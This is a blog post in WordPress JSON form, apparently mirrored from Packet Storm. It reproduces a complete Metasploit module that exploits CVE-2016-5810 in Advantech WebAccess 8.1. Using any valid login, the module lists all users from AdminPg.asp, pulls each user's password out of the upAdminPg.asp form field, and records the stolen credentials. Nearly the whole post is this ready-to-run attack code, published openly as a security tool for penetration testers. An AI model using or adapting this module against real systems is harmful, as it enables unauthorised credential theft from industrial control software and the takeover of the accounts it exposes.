{"id":59303,"date":"2024-08-31T23:40:51","date_gmt":"2024-08-31T20:40:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180697\/advantech_webaccess_creds.rb.txt"},"modified":"2024-08-31T23:40:51","modified_gmt":"2024-08-31T20:40:51","slug":"advantech-webaccess-8-1-post-authentication-credential-collector","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/advantech-webaccess-8-1-post-authentication-credential-collector\/","title":{"rendered":"Advantech WebAccess 8.1 Post Authentication Credential Collector"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8220;Advantech WebAccess 8.1 Post Authentication Credential Collector&#8221;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.<br \/>Although authentication is required, any level of user permission can exploit this vulnerability.<\/p>\n<p>Note that 8.2 is not suitable for this.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;h00die&#8217;, # Pointed out the obvious during a PR review for CVE-2017-5154<br \/>&#8216;sinn3r&#8217;, # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;, &#8216;2016-5810&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/rapid7\/metasploit-framework\/pull\/7859#issuecomment-274305229&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2017-01-21&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;WEBACCESSUSER&#8217;, [true, &#8216;Username for Advantech WebAccess&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;WEBACCESSPASS&#8217;, [false, &#8216;Password for Advantech WebAccess&#8217;, &#8221;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to Advantech WebAccess&#8217;, &#8216;\/&#8217;]),<br \/>])<br \/>end<\/p>\n<p>def do_login<br \/>vprint_status(&#8220;Attempting to login as &#8216;#{datastore[&#8216;WEBACCESSUSER&#8217;]}:#{datastore[&#8216;WEBACCESSPASS&#8217;]}'&#8221;)<\/p>\n<p>uri = normalize_uri(target_uri.path, &#8216;broadweb&#8217;, &#8216;user&#8217;, &#8216;signin.asp&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;page&#8217; =&gt; &#8216;\/&#8217;,<br \/>&#8216;pos&#8217; =&gt; &#8221;,<br \/>&#8216;username&#8217; =&gt; datastore[&#8216;WEBACCESSUSER&#8217;],<br \/>&#8216;password&#8217; =&gt; datastore[&#8216;WEBACCESSPASS&#8217;],<br \/>&#8216;remMe&#8217; =&gt; &#8221;,<br \/>&#8216;submit1&#8217; =&gt; &#8216;Login&#8217;<br \/>}<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unknown, &#8216;Connection timed out while trying to login&#8217;)<br \/>end<\/p>\n<p>if res.headers[&#8216;Location&#8217;] &amp;&amp; res.headers[&#8216;Location&#8217;] == &#8216;\/broadweb\/bwproj.asp&#8217;<br \/>print_good(&#8220;Logged in as #{datastore[&#8216;WEBACCESSUSER&#8217;]}&#8221;)<br \/>report_cred(<br \/>user: datastore[&#8216;WEBACCESSUSER&#8217;],<br \/>password: datastore[&#8216;WEBACCESSPASS&#8217;],<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL<br \/>)<br \/>return res.get_cookies.scan(\/(ASPSESSIONID\\w+=\\w+);\/).flatten.first || &#8221;<br \/>end<\/p>\n<p>print_error(&#8220;Unable to login as &#8216;#{datastore[&#8216;WEBACCESSUSER&#8217;]}:#{datastore[&#8216;WEBACCESSPASS&#8217;]}'&#8221;)<\/p>\n<p>nil<br \/>end<\/p>\n<p>def get_user_cred_detail(sid, user)<br \/>vprint_status(&#8220;Gathering password for user: #{user}&#8221;)<\/p>\n<p>uri = normalize_uri(target_uri.path, &#8216;broadWeb&#8217;,&#8217;user&#8217;, &#8216;upAdminPg.asp&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;cookie&#8217; =&gt; sid,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;uname&#8217; =&gt; user<br \/>}<br \/>})<\/p>\n<p>unless res<br \/>print_error(&#8220;Unable to gather password for user #{user} due to a connection timeout&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>html = res.get_html_document<br \/>pass_field = html.at(&#8216;input[@name=&#8221;Password&#8221;]&#8217;)<\/p>\n<p>pass_field ? pass_field.attributes[&#8216;value&#8217;].text : nil<br \/>end<\/p>\n<p>def get_users_page(sid)<br \/>vprint_status(&#8220;Checking user page&#8230;&#8221;)<\/p>\n<p>uri = normalize_uri(target_uri.path, &#8216;broadWeb&#8217;, &#8216;user&#8217;, &#8216;AdminPg.asp&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;cookie&#8217; =&gt; sid<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unknown, &#8216;Connection timed out while checking AdminPg.asp&#8217;)<br \/>end<\/p>\n<p>html = res.get_html_document<\/p>\n<p>users = html.search(&#8216;a&#8217;).map { |a|<br \/>Rex::Text.uri_decode(a.attributes[&#8216;href&#8217;].text.scan(\/broadWeb\\\/user\\\/upAdminPg\\.asp\\?uname=(.+)\/).flatten.first || &#8221;)<br \/>}.delete_if { |user| user.blank? }<\/p>\n<p>users<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: rhost,<br \/>port: rport,<br \/>service_name: &#8216;webaccess&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>last_attempted_at: DateTime.now,<br \/>core: create_credential(credential_data),<br \/>status: opts[:status],<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run<br \/>cookie = do_login<br \/>users = get_users_page(cookie)<\/p>\n<p>users.each do |user|<br \/>pass = get_user_cred_detail(cookie, user)<\/p>\n<p>if pass<br \/>report_cred(<br \/>user: user,<br \/>password: pass,<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL,<br \/>proof: &#8216;AdminPg.asp&#8217;<br \/>)<\/p>\n<p>print_good(&#8220;Found password: #{user}:#{pass}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8220;Advantech WebAccess 8.1 Post Authentication Credential Collector&#8221;,&#8216;Description&#8217; =&gt; %q{This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.Although authentication is required, any level of user permission can exploit this vulnerability. Note that &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59303","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59303","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59303"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59303\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}